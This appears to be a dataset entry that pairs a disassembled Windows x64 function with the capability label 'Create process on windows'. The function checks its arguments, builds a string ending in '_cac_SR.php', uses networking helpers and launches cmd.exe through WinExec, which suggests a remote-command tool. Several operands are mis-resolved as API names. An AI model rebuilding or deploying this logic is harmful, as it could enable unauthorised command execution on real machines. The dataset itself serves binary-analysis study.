Function at 0x140002840
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140007028]
xor rax, rsp
mov qword [rbp + 0x78], rax
mov r14, rdx
mov ebx, ecx
xor esi, esi
cmp ecx, 4
jl 0x140002f16
mov rdx, qword [rdx + 8]
mov rdi, 0xffffffffffffffff
mov rax, rdi
nop word [rax + rax]
inc rax
cmp byte [rdx + rax], sil
jne 0x140002890
lea rcx, str.8532
cmp qword [0x1400070c8], 0x10
cmovae rcx, qword [str.8532]
mov r8, qword [reloc.WS2_32.dll_connect]
cmp r8, rax
jne 0x140002f16
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140002f16
cmp ebx, 5
jl 0x140002928
mov r9, qword [r14 + 0x20]
inc rdi
cmp byte [r9 + rdi], sil
jne 0x1400028d6
mov rax, qword [0x140007088]
cmp rdi, rax
ja 0x140002919
lea rbx, [0x140007070]
cmp rax, 0x10
cmovae rbx, qword [0x140007070]
mov qword [0x140007080], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], sil
jmp 0x140002928
mov rdx, rdi
lea rcx, [0x140007070]
call fcn.1400032f0
lea rcx, [rsp + 0x48]
call fcn.140001cf0
nop
mov rcx, rax
call fcn.140001540
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140002999
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
movdqa xmm0, xmmword [0x140005570]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [r14 + 0x18]
lea rcx, [rbp + 8]
call fcn.140001690
nop
mov rdx, qword [r14 + 0x10]
lea rcx, [rbp - 0x18]
call fcn.140001690
nop
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x38]
call fcn.1400017b0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400029ea
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x58]
call fcn.140001270
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140002a32
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002a2d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002ba2
mov rcx, r8
call fcn.14000393c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x58]
call fcn.1400017b0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140002a63
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x78]
call fcn.140001270
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140002aab
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002aa6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002ba9
mov rcx, r8
call fcn.14000393c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp + 0x48]
sub rax, rcx
cmp rax, 4
jb 0x140002f5e
lea r9, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae r9, qword [rbp + 0x38]
mov qword [rsp + 0x30], 4
lea rax, str.rs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x38]
call fcn.1400037b0
nop
lea r9, [rbp - 0x78]
lea r8, [rbp - 0x38]
lea rcx, [rsp + 0x68]
call fcn.1400035c0
nop
mov r8d, 4
lea rdx, str.cm
lea rcx, [rsp + 0x68]
call fcn.140003130
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
lea r9, [rbp - 0x58]
lea r8, [rsp + 0x48]
lea rcx, [rbp + 0x58]
call fcn.1400035c0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140002bb6
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000393c
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140002bf5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bf0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bf0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
movdqa xmm0, xmmword [0x140005570]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140002c47
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140002c85
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
movdqa xmm0, xmmword [0x140005570]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140002cd4
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ccf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ccf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
movdqa xmm0, xmmword [0x140005570]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140002d24
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140002d62
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
lea r15, [rbp + 0x58]
mov r14, qword [rbp + 0x58]
mov r13, qword [rbp + 0x70]
cmp r13, 0x10
cmovae r15, r14
mov rdi, qword [rbp + 0x68]
cmp rdi, rbx
ja 0x140002f52
mov qword [rsp + 0x60], socket
cmp rdi, 0x10
jae 0x140002dd3
mov qword [rsp + 0x58], rdi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r15
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140002e66
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140002e08
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003900
test rax, rax
je 0x140002e33
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002e47
mov rbx, rax
mov ecx, socket
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002e3a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002f58
jmp 0x140002ded
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002e47
call fcn.140003900
mov rsi, rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, str._cac_SR.php
lea rcx, [rbp + 8]
call fcn.140001690
mov rbx, rax
lea rdx, [0x140007070]
lea rcx, [rbp - 0x18]
call fcn.1400017b0
nop
lea r9, [rsp + 0x48]
mov rdx, rbx
mov rcx, rax
call fcn.1400020e0
nop
cmp r13, 0x10
jb 0x140002ed6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140002ecd
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ecd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000393c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140002f28
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000393c
jmp 0x140002f28
mov edx, 1
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.1400038e0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call fcn.140001250
nop
call fcn.1400011b0
nop
call fcn.140001250
int3